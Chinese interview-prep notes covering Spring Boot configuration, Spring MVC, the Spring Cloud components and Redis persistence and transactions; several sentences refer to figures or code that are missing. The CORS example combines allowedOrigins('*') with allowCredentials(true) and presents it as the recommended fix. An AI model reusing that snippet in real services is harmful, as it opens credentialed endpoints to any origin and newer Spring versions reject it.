注解 @EnableAutoConfiguration, @Configuration, @ConditionalOnClass 就是自动配置的核心,
@EnableAutoConfiguration 给容器导入META-INF/spring.factories 里定义的自动配置类。
筛选有效的自动配置类。
每一个自动配置类结合对应的 xxxProperties.java 读取配置文件进行自动配置功能
在 Spring Boot 里面,可以使用以下几种方式来加载配置。
1)properties文件;
2)YAML文件;
3)系统环境变量;
4)命令行参数;
等等……
什么是 YAML?
YAML 是一种人类可读的数据序列化语言。它通常用于配置文件。与属性文件相比,如果我们想要在配置文件中添加复杂的属性,YAML 文件就更加结构化,而且更少混淆。可以看出 YAML 具有分层配置数据。
YAML 配置的优势在哪里 ?
YAML 现在可以算是非常流行的一种配置文件格式了,无论是前端还是后端,都可以见到 YAML 配置。那么 YAML 配置和传统的 properties 配置相比到底有哪些优势呢?
配置有序,在一些特殊的场景下,配置有序很关键
支持数组,数组中的元素可以是基本数据类型也可以是对象
简洁
相比 properties 配置文件,YAML 还有一个缺点,就是不支持 @PropertySource 注解导入自定义的 YAML 配置。
Spring Boot 是否可以使用 XML 配置 ?
Spring Boot 推荐使用 Java 配置而非 XML 配置,但是 Spring Boot 中也可以使用 XML 配置,通过 @ImportResource 注解可以引入一个 XML 配置。
**spring boot 核心配置文件是什么?**bootstrap.properties 和 application.properties 有何区别 ?
单纯做 Spring Boot 开发,可能不太容易遇到 bootstrap.properties 配置文件,但是在结合 Spring Cloud 时,这个配置就会经常遇到了,特别是在需要加载一些远程配置文件的时侯。
bootstrap (. yml 或者 . properties):boostrap 由父 ApplicationContext 加载的,比 applicaton 优先加载,配置在应用程序上下文的引导阶段生效。一般来说我们在 Spring Cloud Config 或者 Nacos 中会用到它。且 boostrap 里面的属性不能被覆盖;
application (. yml 或者 . properties): 由ApplicatonContext 加载,用于 spring boot 项目的自动化配置。
什么是 Spring Profiles?
Spring Profiles 允许用户根据配置文件(dev,test,prod 等)来注册 bean。因此,当应用程序在开发中运行时,只有某些 bean 可以加载,而在 PRODUCTION中,某些其他 bean 可以加载。假设我们的要求是 Swagger 文档仅适用于 QA 环境,并且禁用所有其他文档。这可以使用配置文件来完成。Spring Boot 使得使用配置文件非常简单。
如何在自定义端口上运行 Spring Boot 应用程序?
为了在自定义端口上运行 Spring Boot 应用程序,您可以在application.properties 中指定端口。server.port = 8090
安全
为了实现 Spring Boot 的安全性,我们使用 spring-boot-starter-security 依赖项,并且必须添加安全配置。它只需要很少的代码。配置类将必须扩展WebSecurityConfigurerAdapter 并覆盖其方法。
由于 Spring Boot 官方提供了大量的非常方便的开箱即用的 Starter ,包括 Spring Security 的 Starter ,使得在 Spring Boot 中使用 Spring Security 变得更加容易,甚至只需要添加一个依赖就可以保护所有的接口,所以,如果是 Spring Boot 项目,一般选择 Spring Security 。当然这只是一个建议的组合,单纯从技术上来说,无论怎么组合,都是没有问题的。Shiro 和 Spring Security 相比,主要有如下一些特点:
Spring Security 是一个重量级的安全管理框架;Shiro 则是一个轻量级的安全管理框架
Spring Security 概念复杂,配置繁琐;Shiro 概念简单、配置简单
Spring Security 功能强大;Shiro 功能简单
跨域可以在前端通过 JSONP 来解决,但是 JSONP 只可以发送 GET 请求,无法发送其他类型的请求,在 RESTful 风格的应用中,就显得非常鸡肋,因此我们推荐在后端通过 (CORS,Cross-origin resource sharing) 来解决跨域问题。这种解决方案并非 Spring Boot 特有的,在传统的 SSM 框架中,就可以通过 CORS 来解决跨域问题,只不过之前我们是在 XML 文件中配置 CORS ,现在可以通过实现WebMvcConfigurer接口然后重写addCorsMappings方法解决跨域问题。
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/**")
.allowedOrigins("*")
.allowCredentials(true)
.allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
.maxAge(3600);
}
}
Spring boot actuator 是 spring 启动框架中的重要功能之一。Spring boot 监视器可帮助您访问生产环境中正在运行的应用程序的当前状态。有几个指标必须在生产环境中进行检查和监控。即使一些外部应用程序可能正在使用这些服务来向相关人员触发警报消息。监视器模块公开了一组可直接作为 HTTP URL 访问的REST 端点来检查状态。
默认情况下,所有敏感的 HTTP 端点都是安全的,只有具有 ACTUATOR 角色的用户才能访问它们。安全性是使用标准的 HttpServletRequest.isUserInRole 方法实施的。 我们可以使用来禁用安全性。只有在执行机构端点在防火墙后访问时,才建议禁用安全性。
Spring Boot 提供监视器端点以监控各个微服务的度量。这些端点对于获取有关应用程序的信息(如它们是否已启动)以及它们的组件(如数据库等)是否正常运行很有帮助。但是,使用监视器的一个主要缺点或困难是,我们必须单独打开应用程序的知识点以了解其状态或健康状况。想象一下涉及 50 个应用程序的微服务,管理员将不得不击中所有 50 个应用程序的执行终端。为了帮助我们处理这种情况,我们将使用位于的开源项目。 它建立在 Spring Boot Actuator 之上,它提供了一个 Web UI,使我们能够可视化多个应用程序的度量。
什么是 WebSockets?
WebSocket 是一种计算机通信协议,通过单个 TCP 连接提供全双工通信信道。
1、WebSocket 是双向的 -使用 WebSocket 客户端或服务器可以发起消息发送。
2、WebSocket 是全双工的 -客户端和服务器通信是相互独立的。
3、单个 TCP 连接 -初始连接使用 HTTP,然后将此连接升级到基于套接字的连接。然后这个单一连接用于所有未来的通信
4、Light -与 http 相比,WebSocket 消息数据交换要轻得多。
什么是 Spring Data ?
Spring Data 是 Spring 的一个子项目。用于简化数据库访问,支持NoSQL 和 关系数据存储。其主要目标是使数据库的访问变得方便快捷。Spring Data 具有如下特点:
SpringData 项目支持 NoSQL 存储:
MongoDB (文档数据库)
Neo4j(图形数据库)
Redis(键/值存储)
Hbase(列族数据库)
SpringData 项目所支持的关系数据存储技术:
JDBC
JPA
Spring Data Jpa 致力于减少数据访问层 (DAO) 的开发量. 开发者唯一要做的,就是声明持久层的接口,其他都交给 Spring Data JPA 来帮你完成!Spring Data JPA 通过规范方法的名字,根据符合规范的名字来确定方法需要实现什么样的逻辑。
什么是 Spring Batch?
Spring Boot Batch 提供可重用的函数,这些函数在处理大量记录时非常重要,包括日志/跟踪,事务管理,作业处理统计信息,作业重新启动,跳过和资源管理。它还提供了更先进的技术服务和功能,通过优化和分区技术,可以实现极高批量和高性能批处理作业。简单以及复杂的大批量批处理作业可以高度可扩展的方式利用框架处理重要大量的信息。
什么是 FreeMarker 模板?
FreeMarker 是一个基于 Java 的模板引擎,最初专注于使用 MVC 软件架构进行动态网页生成。使用 Freemarker 的主要优点是表示层和业务层的完全分离。程序员可以处理应用程序代码,而设计人员可以处理 html 页面设计。最后使用freemarker 可以将这些结合起来,给出最终的输出页面。
如何集成 Spring Boot 和 ActiveMQ?
对于集成 Spring Boot 和 ActiveMQ,我们使用依赖关系。 它只需要很少的配置,并且不需要样板代码。
什么是 Apache Kafka?
Apache Kafka 是一个分布式发布 - 订阅消息系统。它是一个可扩展的,容错的发布 - 订阅消息系统,它使我们能够构建分布式应用程序。这是一个 Apache 顶级项目。Kafka 适合离线和在线消息消费。
什么是 Swagger?你用 Spring Boot 实现了它吗?
Swagger 广泛用于可视化 API,使用 Swagger UI 为前端开发人员提供在线沙箱。Swagger 是用于生成 RESTful Web 服务的可视化表示的工具,规范和完整框架实现。它使文档能够以与服务器相同的速度更新。当通过 Swagger 正确定义时,消费者可以使用最少量的实现逻辑来理解远程服务并与其进行交互。因此,Swagger消除了调用服务时的猜测。
前后端分离,如何维护接口文档 ?
前后端分离开发日益流行,大部分情况下,我们都是通过 Spring Boot 做前后端分离开发,前后端分离一定会有接口文档,不然会前后端会深深陷入到扯皮中。一个比较笨的方法就是使用 word 或者 md 来维护接口文档,但是效率太低,接口一变,所有人手上的文档都得变。在 Spring Boot 中,这个问题常见的解决方案是 Swagger ,使用 Swagger 我们可以快速生成一个接口文档网站,接口一旦发生变化,文档就会自动更新,所有开发工程师访问这一个在线网站就可以获取到最新的接口文档,非常方便。
可以使用 DEV 工具来实现。通过这种依赖关系,您可以节省任何更改,嵌入式tomcat 将重新启动。Spring Boot 有一个开发工具(DevTools)模块,它有助于提高开发人员的生产力。Java 开发人员面临的一个主要挑战是将文件更改自动部署到服务器并自动重启服务器。开发人员可以重新加载 Spring Boot 上的更改,而无需重新启动服务器。这将消除每次手动部署更改的需要。Spring Boot 在发布它的第一个版本时没有这个功能。这是开发人员最需要的功能。DevTools 模块完全满足开发人员的需求。该模块将在生产环境中被禁用。它还提供 H2 数据库控制台以更好地测试应用程序。
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
</dependency>
Spring Boot 项目最终打包成的 jar 是可执行 jar ,这种 jar 可以直接通过 java -jar xxx.jar 命令来运行,这种 jar 不可以作为普通的 jar 被其他项目依赖,即使依赖了也无法使用其中的类。
Spring Boot 的 jar 无法被其他项目依赖,主要还是他和普通 jar 的结构不同。普通的 jar 包,解压后直接就是包名,包里就是我们的代码,而 Spring Boot 打包成的可执行 jar 解压后,在 \BOOT-INF\classes 目录下才是我们的代码,因此无法被直接引用。如果非要引用,可以在 pom.xml 文件中增加配置,将 Spring Boot 项目打包成两个 jar ,一个可执行,一个可引用。
1)打包用命令或者放到容器中运行
2)用 Maven/ Gradle 插件运行
3)直接执行 main 方法运行
可以不需要,内置了 Tomcat/ Jetty 等容器。
1)继承spring-boot-starter-parent项目
2)导入spring-boot-dependencies项目依赖
Spring 提供了一种使用 ControllerAdvice 处理异常的非常有用的方法。 我们通过实现一个 ControlerAdvice 类,来处理控制器类抛出的所有异常。
使用 Spring Boot 实现分页非常简单。使用 Spring Data-JPA 可以实现将可分页的传递给存储库方法。
在微服务中,一个完整的项目被拆分成多个不相同的独立的服务,各个服务独立部署在不同的服务器上,各自的 session 被从物理空间上隔离开了,但是经常,我们需要在不同微服务之间共享 session ,常见的方案就是 Spring Session + Redis 来实现 session 共享。将所有微服务的 session 统一保存在 Redis 上,当各个微服务对 session 有相关的读写操作时,都去操作 Redis 上的 session 。这样就实现了 session 共享,Spring Session 基于 Spring 中的代理过滤器实现,使得 session 的同步操作对开发人员而言是透明的,非常简便。
定时任务也是一个常见的需求,Spring Boot 中对于定时任务的支持主要还是来自 Spring 框架。
在 Spring Boot 中使用定时任务主要有两种不同的方式,一个就是使用 Spring 中的 @Scheduled 注解,另一个则是使用第三方框架 Quartz。
使用 Spring 中的 @Scheduled 的方式主要通过 @Scheduled 注解来实现。
使用 Quartz ,则按照 Quartz 的方式,定义 Job 和 Trigger 即可。
Spring MVC是一个基于Java的实现了MVC设计模式的请求驱动类型的轻量级Web框架,通过把模型-视图-控制器分离,将web层进行职责解耦,把复杂的web应用分成逻辑清晰的几部分,简化开发,减少出错,方便组内开发人员之间的配合。
Spring MVC的优点
(1)可以支持各种视图技术,而不仅仅局限于JSP;
(2)与Spring框架集成(如IoC容器、AOP等);
(3)清晰的角色分配:前端控制器(dispatcherServlet) , 请求到处理器映射(handlerMapping), 处理器适配器(HandlerAdapter), 视图解析器(ViewResolver)。
(4) 支持各种请求资源的映射策略。
核心组件
(1)前端控制器 DispatcherServlet(不需要程序员开发)
作用:接收请求、响应结果,相当于转发器,有了DispatcherServlet 就减少了其它组件之间的耦合度。
(2)处理器映射器HandlerMapping(不需要程序员开发)
作用:根据请求的URL来查找Handler
(3)处理器适配器HandlerAdapter
注意:在编写Handler的时候要按照HandlerAdapter要求的规则去编写,这样适配器HandlerAdapter才可以正确的去执行Handler。
(4)处理器Handler(需要程序员开发)
(5)视图解析器 ViewResolver(不需要程序员开发)
作用:进行视图的解析,根据视图逻辑名解析成真正的视图(view)
(6)视图View(需要程序员开发jsp)
View是一个接口, 它的实现类支持不同的视图类型(jsp,freemarker,pdf等等)
什么是DispatcherServlet
Spring的MVC框架是围绕DispatcherServlet来设计的,它用来处理所有的HTTP请求和响应。
什么是Spring MVC框架的控制器?
控制器提供一个访问应用程序的行为,此行为通常通过服务接口实现。控制器解析用户输入并将其转换为一个由视图呈现给用户的模型。Spring用一个非常抽象的方式实现了一个控制层,允许用户创建多种用途的控制器。
Spring MVC的控制器是不是单例模式,如果是,有什么问题,怎么解决?
答:是单例模式,所以在多线程访问的时候有线程安全问题,不要用同步,会影响性能的,解决方案是在控制器里面不能写字段。
请描述Spring MVC的工作流程?描述一下 DispatcherServlet 的工作流程?
(1)用户发送请求至前端控制器DispatcherServlet;
(2) DispatcherServlet收到请求后,调用HandlerMapping处理器映射器,请求获取Handle;
(3)处理器映射器根据请求url找到具体的处理器,生成处理器对象及处理器拦截器(如果有则生成)一并返回给DispatcherServlet;
(4)DispatcherServlet 调用 HandlerAdapter处理器适配器;
(5)HandlerAdapter 经过适配调用 具体处理器(Handler,也叫后端控制器);
(6)Handler执行完成返回ModelAndView;
(7)HandlerAdapter将Handler执行结果ModelAndView返回给DispatcherServlet;
(8)DispatcherServlet将ModelAndView传给ViewResolver视图解析器进行解析;
(9)ViewResolver解析后返回具体View;
(10)DispatcherServlet对View进行渲染视图(即将模型数据填充至视图中)
(11)DispatcherServlet响应用户。
MVC是什么?MVC设计模式的好处有哪些
mvc是一种设计模式(设计模式就是日常开发中编写代码的一种好的方法和经验的总结)。模型(model)-视图(view)-控制器(controller),三层架构的设计模式。用于实现前端页面的展现与后端业务数据处理的分离。
mvc设计模式的好处
1.分层设计,实现了业务系统各个组件之间的解耦,有利于业务系统的可扩展性,可维护性。
2.有利于系统的并行开发,提升开发效率。
注解本质是一个继承了Annotation的特殊接口,其具体实现类是Java运行时生成的动态代理类。我们通过反射获取注解时,返回的是Java运行时生成的动态代理对象。通过代理对象调用自定义注解的方法,会最终调用AnnotationInvocationHandler的invoke方法。该方法会从memberValues这个Map中索引出对应的值。而memberValues的来源是Java常量池。
@RequestMapping:用于处理请求 url 映射的注解,可用于类或方法上。用于类上,则表示类中的所有响应请求的方法都是以该地址作为父路径。
@RequestBody:注解实现接收http请求的json数据,将json转换为java对象。
@ResponseBody:注解实现将conreoller方法返回对象转化为json对象响应给客户。
SpingMvc中的控制器的注解一般用哪个,有没有别的注解可以替代?
答:一般用@Controller注解,也可以使用@RestController,@RestController注解相当于@ResponseBody + @Controller,表示是表现层,除此之外,一般不用别的注解代替。
@Controller注解的作用
在Spring MVC 中,控制器Controller 负责处理由DispatcherServlet 分发的请求,它把用户请求的数据经过业务处理层处理之后封装成一个Model ,然后再把该Model 返回给对应的View 进行展示。在Spring MVC 中提供了一个非常简便的定义Controller 的方法,我们无需继承特定的类或实现特定的接口,只需使用**@Controller 标记一个类是Controller ,然后使用@RequestMapping 和@RequestParam** 等一些注解用以定义URL 请求和Controller 方法之间的映射,这样的Controller 就能被外界访问到。此外Controller 不会直接依赖于HttpServletRequest 和HttpServletResponse 等HttpServlet 对象,它们可以通过Controller 的方法参数灵活的获取到。
@Controller 用于标记在一个类上,使用它标记的类就是一个Spring MVC Controller 对象。分发处理器将会扫描使用了该注解的类的方法,并检测该方法是否使用了@RequestMapping 注解。@Controller 只是定义了一个控制器类,而使用@RequestMapping 注解的方法才是真正处理请求的处理器。单单使用@Controller 标记在一个类上还不能真正意义上的说它就是Spring MVC 的一个控制器类,因为这个时候Spring 还不认识它。那么要如何做Spring 才能认识它呢?这个时候就需要我们把这个控制器类交给Spring 来管理。有两种方式:
在Spring MVC 的配置文件中定义MyController 的bean 对象。
在Spring MVC 的配置文件中告诉Spring 该到哪里去找标记为@Controller 的Controller 控制器。
@RequestMapping注解的作用
RequestMapping是一个用来处理请求地址映射的注解,可用于类或方法上。用于类上,表示类中的所有响应请求的方法都是以该地址作为父路径。
RequestMapping注解有六个属性,下面我们把她分成三类进行说明(下面有相应示例)。
value, method
value: 指定请求的实际地址,指定的地址可以是URI Template 模式(后面将会说明);
method: 指定请求的method类型, GET、POST、PUT、DELETE等;
consumes,produces
consumes: 指定处理请求的提交内容类型(Content-Type),例如application/json, text/html;
produces: 指定返回的内容类型,仅当request请求头中的(Accept)类型中包含该指定类型才返回;
params,headers
params: 指定request中必须包含某些参数值是,才让该方法处理。
headers: 指定request中必须包含某些指定的header值,才能让该方法处理请求。
@ResponseBody注解的作用
作用: 该注解用于将Controller的方法返回的对象,通过适当的HttpMessageConverter转换为指定格式后,写入到Response对象的body数据区。
使用时机:返回的数据不是html标签的页面,而是其他某种格式的数据时(如json、xml等)使用;
@PathVariable和@RequestParam的区别
请求路径上有个id的变量值,可以通过@PathVariable来获取 @RequestMapping(value = “/page/{id}”, method = RequestMethod.GET)
@RequestParam用来获得静态的URL请求入参 spring注解时action里用到。
Spring Cloud是目前微服务架构领域的翘楚,无数的书籍博客都在讲解这个技术。不过大多数讲解还停留在对Spring Cloud功能使用的层面,其底层的很多原理,很多人可能并不知晓。因此本文将通过大量的手绘图,给大家谈谈Spring Cloud微服务架构的底层原理。
实际上,Spring Cloud是一个全家桶式的技术栈,包含了很多组件。本文先从其最核心的几个组件入手,来剖析一下其底层的工作原理。也就是Eureka、Ribbon、Feign、Hystrix、Zuul这几个组件。
先来给大家说一个业务场景,假设咱们现在开发一个电商网站,要实现支付订单的功能,流程如下:
针对上述流程,我们需要有订单服务、库存服务、仓储服务、积分服务。整个流程的大体思路如下:
至此,整个支付订单的业务流程结束
下图这张图,清晰表明了各服务间的调用过程:
好!有了业务场景之后,咱们就一起来看看Spring Cloud微服务架构中,这几个组件如何相互协作,各自发挥的作用以及其背后的原理。
咱们来考虑第一个问题:订单服务想要调用库存服务、仓储服务,或者积分服务,怎么调用?
咱们来看看下面的这张图,结合图来仔细剖析一下整个流程:
如上图所示,库存服务、仓储服务、积分服务中都有一个Eureka Client组件,这个组件专门负责将这个服务的信息注册到Eureka Server中。说白了,就是告诉Eureka Server,自己在哪台机器上,监听着哪个端口。而Eureka Server是一个注册中心,里面有一个注册表,保存了各服务所在的机器和端口号
订单服务里也有一个Eureka Client组件,这个Eureka Client组件会找Eureka Server问一下:库存服务在哪台机器啊?监听着哪个端口啊?仓储服务呢?积分服务呢?然后就可以把这些相关信息从Eureka Server的注册表中拉取到自己本地缓存起来。
这时如果订单服务想要调用库存服务,不就可以找自己本地的Eureka Client问一下库存服务在哪台机器?监听哪个端口吗?收到响应后,紧接着就可以发送一个请求过去,调用库存服务扣减库存的那个接口!同理,如果订单服务要调用仓储服务、积分服务,也是如法炮制。
总结一下:
现在订单服务确实知道库存服务、积分服务、仓库服务在哪里了,同时也监听着哪些端口号了。但是新问题又来了:难道订单服务要自己写一大堆代码,跟其他服务建立网络连接,然后构造一个复杂的请求,接着发送请求过去,最后对返回的响应结果再写一大堆代码来处理吗?
这是上述流程翻译的代码片段,咱们一起来看看,体会一下这种绝望而无助的感受!!!
友情提示,前方高能:
看完上面那一大段代码,有没有感到后背发凉、一身冷汗?实际上你进行服务间调用时,如果每次都手写代码,代码量比上面那段要多至少几倍,所以这个事压根儿就不是地球人能干的。
既然如此,那怎么办呢?别急,Feign早已为我们提供好了优雅的解决方案。来看看如果用Feign的话,你的订单服务调用库存服务的代码会变成啥样?
看完上面的代码什么感觉?是不是感觉整个世界都干净了,又找到了活下去的勇气!没有底层的建立连接、构造请求、解析响应的代码,直接就是用注解定义一个 FeignClient接口,然后调用那个接口就可以了。人家Feign Client会在底层根据你的注解,跟你指定的服务建立连接、构造请求、发起靕求、获取响应、解析响应,等等。这一系列脏活累活,人家Feign全给你干了。
那么问题来了,Feign是如何做到这么神奇的呢?很简单,Feign的一个关键机制就是使用了动态代理。咱们一起来看看下面的图,结合图来分析:
说完了Feign,还没完。现在新的问题又来了,如果人家库存服务部署在了5台机器上,如下所示:
这下麻烦了!人家Feign怎么知道该请求哪台机器呢?
此外,Ribbon是和Feign以及Eureka紧密协作,完成工作的,具体如下:
对上述整个过程,再来一张图,帮助大家更深刻的理解:
在微服务架构里,一个系统会有很多的服务。以本文的业务场景为例:订单服务在一个业务流程里需要调用三个服务。现在假设订单服务自己最多只有100个线程可以处理请求,然后呢,积分服务不幸的挂了,每次订单服务调用积分服务的时候,都会卡住几秒钟,然后抛出—个超时异常。
咱们一起来分析一下,这样会导致什么问题?
上面这个,就是微服务架构中恐怖的服务雪崩问题,如下图所示:
如上图,这么多服务互相调用,要是不做任何保护的话,某一个服务挂了,就会引起连锁反应,导致别的服务也挂。比如积分服务挂了,会导致订单服务的线程全部卡在请求积分服务这里,没有一个线程可以工作,瞬间导致订单服务也挂了,别人请求订单服务全部会卡住,无法响应。
但是我们思考一下,就算积分服务挂了,订单服务也可以不用挂啊!为什么?
现在问题分析完了,如何解决?
这时就轮到Hystrix闪亮登场了。Hystrix是隔离、熔断以及降级的一个框架。啥意思呢?说白了,Hystrix会搞很多个小小的线程池,比如订单服务请求库存服务是一个线程池,请求仓储服务是一个线程池,请求积分服务是一个线程池。每个线程池里的线程就仅仅用于请求那个服务。
打个比方:现在很不幸,积分服务挂了,会咋样?
当然会导致订单服务里那个用来调用积分服务的线程都卡死不能工作了啊!但由于订单服务调用库存服务、仓储服务的这两个线程池都是正常工作的,所以这两个服务不会受到任何影响。
这个时候如果别人请求订单服务,订单服务还是可以正常调用库存服务扣减库存,调用仓储服务通知发货。只不过调用积分服务的时候,每次都会报错。**但是如果积分服务都挂了,每次调用都要去卡住几秒钟干啥呢?有意义吗?当然没有!**所以我们直接对积分服务熔断不就得了,比如在5分钟内请求积分服务直接就返回了,不要去走网络请求卡住几秒钟,这个过程,就是所谓的熔断!
**那人家又说,兄弟,积分服务挂了你就熔断,好歹你干点儿什么啊!别啥都不干就直接返回啊?**没问题,咱们就来个降级:每次调用积分服务,你就在数据库里记录一条消息,说给某某用户增加了多少积分,因为积分服务挂了,导致没增加成功!这样等积分服务恢复了,你可以根据这些记录手工加一下积分。这个过程,就是所谓的降级。
为帮助大家更直观的理解,接下来用一张图,梳理一下Hystrix隔离、熔断和降级的全流程:
说完了Hystrix,接着给大家说说最后一个组件:Zuul,也就是微服务网关。**这个组件是负责网络路由的。**不懂网络路由?行,那我给你说说,如果没有Zuul的日常工作会怎样?
假设你后台部署了几百个服务,现在有个前端兄弟,人家请求是直接从浏览器那儿发过来的。打个比方:人家要请求一下库存服务,你难道还让人家记着这服务的名字叫做inventory-service?部署在5台机器上?就算人家肯记住这一个,你后台可有几百个服务的名称和地址呢?难不成人家请求一个,就得记住一个?你要这样玩儿,那真是友谊的小船,说翻就翻!
上面这种情况,压根儿是不现实的。所以一般微服务架构中都必然会设计一个网关在里面,像android、ios、pc前端、微信小程序、H5等等,不用去关心后端有几百个服务,就知道有一个网关,所有请求都往网关走,网关会根据请求中的一些特征,将请求转发给后端的各个服务。
而且有一个网关之后,还有很多好处,比如可以做统一的降级、限流、认证授权、安全,等等。
最后再来总结一下,上述几个Spring Cloud核心组件,在微服务架构中,分别扮演的角色:
以上就是我们通过一个电商业务场景,阐述了Spring Cloud微服务架构几个核心组件的底层原理。
**文字总结还不够直观?没问题!**我们将Spring Cloud的5个核心组件通过一张图串联起来,再来直观的感受一下其底层的架构原理:
Redis(Remote Dictionary Server) 是一个使用 C 语言编写的,开源的(BSD许可)高性能非关系型(NoSQL)的键值对数据库。
Redis 可以存储键和五种不同类型的值之间的映射。键的类型只能为字符串,值支持五种数据类型:字符串、列表、集合、散列表、有序集合。
与传统数据库不同的是 Redis 的数据是存在内存中的,所以读写速度非常快,因此 redis 被广泛应用于缓存方向,每秒可以处理超过 10万次读写操作,是已知性能最快的Key-Value DB。另外,Redis 也经常用来做分布式锁。除此之外,Redis 支持事务 、持久化、LUA脚本、LRU驱动事件、多种集群方案。
关于Redis,目前都是使用Redis作为数据缓存,缓存的目标主要是那些需要经常访问的数据,或计算复杂而耗时的数据。缓存的效果就是减少了数据库读的次数,减少了复杂数据的计算次数,从而提高了服务器的性能。
1、redis提供了两种持久化的方式,分别是RDB(Redis DataBase)和AOF(Append Only File)。
2、RDB,简而言之,就是在不同的时间点,将redis存储的数据生成快照并存储到磁盘等介质上;
3、AOF,则是换了一个角度来实现持久化,那就是将redis执行过的所有写指令记录下来,在下次redis重新启动时,只要把这些写指令从前到后再重复执行一遍,就可以实现数据恢复了。
4、其实RDB和AOF两种方式也可以同时使用,在这种情况下,如果redis重启的话,则会优先采用AOF方式来进行数据恢复,这是因为AOF方式的数据恢复完整度更高。
5、如果你没有数据持久化的需求,也完全可以关闭RDB和AOF方式,这样的话,redis将变成一个纯内存数据库,就像memcache一样。
1、RDB方式,是将redis某一时刻的数据持久化到磁盘中,是一种快照式的持久化方法。
2、redis在进行数据持久化的过程中,会先将数据写入到一个临时文件中,待持久化过程都结束了,才会用这个临时文件替换上次持久化好的文件。正是这种特性,让我们可以随时来进行备份,因为快照文件总是完整可用的。
3、对于RDB方式,redis会单独创建(fork)一个子进程来进行持久化,而主进程是不会进行任何IO操作的,这样就确保了redis 极高的性能。
4、如果需要进行大规模数据的恢复,且对于数据恢复的完整性不是非常敏感,那RDB方式要比AOF方式更加的高效。
5、虽然RDB有不少优点,但它的缺点也是不容忽视的。如果你对数据的完整性非常敏感,那么RDB方式就不太适合你,因为即使你每5分钟都持久化一次,当redis故障时,仍然会有近5分钟的数据丢失。所以,redis还提供了另一种持久化方式,那就是AOF。
1、AOF,英文是Append Only File,即只允许追加不允许改写的文件。
2、如前面介绍的,AOF方式是将执行过的写指令记录下来,在数据恢复时按照从前到后的顺序再将指令都执行一遍,就这么简单。
3、我们通过配置redis.conf中的appendonly yes就可以打开AOF功能。如果有写操作(如SET等),redis就会被追加到AOF文件的末尾。
4、默认的AOF持久化策略是每秒钟fsync一次(fsync是指把缓存中的写指令记录到磁盘中),因为在这种情况下,redis仍然可以保持很好的处理性能,即使redis故障,也只会丢失最近1秒钟的数据。
5、如果在追加日志时,恰好遇到磁盘空间满、inode满或断电等情况导致日志写入不完整,也没有关系,redis提供了redis-check-aof工具,可以用来进行日志修复。
6、因为采用了追加方式,如果不做任何处理的话,AOF文件会变得越来越大,为此,redis提供了AOF文件重写(rewrite)机制,即当AOF文件的大小超过所设定的阈值时,redis就会启动AOF文件的内容压缩,只保留可以恢复数据的最小指令集。举个例子或许更形象,假如我们调用了100次INCR指令,在AOF文件中就要存储100条指令,但这明显是很低效的,完全可以把这100条指令合并成一条SET指令,这就是重写机制的原理。
7、在进行AOF重写时,仍然是采用先写临时文件,全部完成后再替换的流程,所以断电、磁盘满等问题都不会影响AOF文件的可用性,这点大家可以放心。
8、AOF方式的另一个好处,我们通过一个“场景再现”来说明。某同学在操作redis时,不小心执行了FLUSHALL,导致redis内存中的数据全部被清空了,这是很悲剧的事情。不过这也不是世界末日,只要redis配置了AOF持久化方式,且AOF文件还没有被重写(rewrite),我们就可以用最快的速度暂停redis并编辑AOF文件,将最后一行的FLUSHALL命令删除,然后重启redis,就可以恢复redis的所有数据到FLUSHALL之前的状态了。是不是很神奇,这就是AOF持久化方式的好处之一。但是如果AOF文件已经被重写了,那就无法通过这种方法来恢复数据了。
9、虽然优点多多,但AOF方式也同样存在缺陷,比如在同样数据规模的情况下,AOF文件要比RDB文件的体积大。而且,AOF方式的恢复速度也要慢于RDB方式。
如果你直接执行BGREWRITEAOF命令,那么redis会生成一个全新的AOF文件,其中便包括了可以恢复现有数据的最少的命令集。
10、如果运气比较差,AOF文件出现了被写坏的情况,也不必过分担忧,redis并不会贸然加载这个有问题的AOF文件,而是报错退出。这时可以通过以下步骤来修复出错的文件:
1.备份被写坏的AOF文件
2.运行redis-check-aof –fix进行修复
3.用diff -u来看下两个文件的差异,确认问题点
4.重启redis,加载修复后的AOF文件
1、AOF重写的内部运行原理,我们有必要了解一下。
2、在重写即将开始之际,redis会创建(fork)一个“重写子进程”,这个子进程会首先读取现有的AOF文件,并将其包含的指令进行分析压缩并写入到一个临时文件中。
3、与此同时,主工作进程会将新接收到的写指令一边累积到内存缓冲区中,一边继续写入到原有的AOF文件中,这样做是保证原有的AOF文件的可用性,避免在重写过程中出现意外。
4、当“重写子进程”完成重写工作后,它会给父进程发一个信号,父进程收到信号后就会将内存中缓存的写指令追加到新AOF文件中。
5、当追加结束后,redis就会用新AOF文件来代替旧AOF文件,之后再有新的写指令,就都会追加到新的AOF文件中了。
1、对于我们应该选择RDB还是AOF,官方的建议是两个同时使用。这样可以提供更可靠的持久化方案。
2、redis的备份和还原,可以借助第三方的工具redis-dump。
1、RDB需要定时持久化,风险是可能会丢两次持久之间的数据,量可能很大。
2、AOF每秒fsync一次指令硬盘,如果硬盘IO慢,会阻塞父进程;风险是会丢失1秒多的数据;在Rewrite过程中,主进程把指令存到mem-buffer中,最后写盘时会阻塞主进程。
事务开启:使用 MULTI 可以标志着执行该命令的客户端从非事务状态切换至事务状态;
命令入队:MULTI开启事务之后,非 WATCH、EXEC、DISCARD、MULTI
等特殊命令,客户端的命令不会被立即执行,而是放入一个事务队列;
如果收到 EXEC 命令,事务队列里的命令将会被执行;
如果收到 DISCARD 命令,则事务被丢弃。
命令入队过程如果出错(如使用了不存在的命令),则事务队列会被拒接执行;
执行事务:执行事务期间出现了异常(如命令和操作的数据类型不匹配),事务队列的里的命令还是继续执行下去,直到全部命令执行完,不会回滚。
WATCH 可用于监控 redis 变量值,在命令 EXEC 之前,redis 里的数据是有机会被其他客户端的命令修改的。使用 WATCH
监控的变量被修改后,执行 EXEC 时则会返回执行失败的 nil 回复
原子性(Atomicity)
一致性(Consistency)
隔离性(Isolation)
持久性(Durability)
Redis 是做不到这四点,只是具备其中一些特征,redis的事务是个伪事务,而且不支持回滚。
EXEC命令执行前:
在命令入队时就报错,(如内存不足,命令名称错误),redis 就会报错并且记录下这个错误。此时,客户还能继续提交命令操作;等到执行EXEC时,redis 就会拒绝执行所有提交的命令操作,返回事务失败的结果 nil。
EXEC命令执行后:
命令和操作的数据类型不匹配,但 redis 实例没有检查出错误。在执行完 EXEC 命令以后,redis 实际执行这些指令,就会报错。此时事务是不会回滚的,但事务队列的命令还是继续被执行。事务的原子性无法保证。
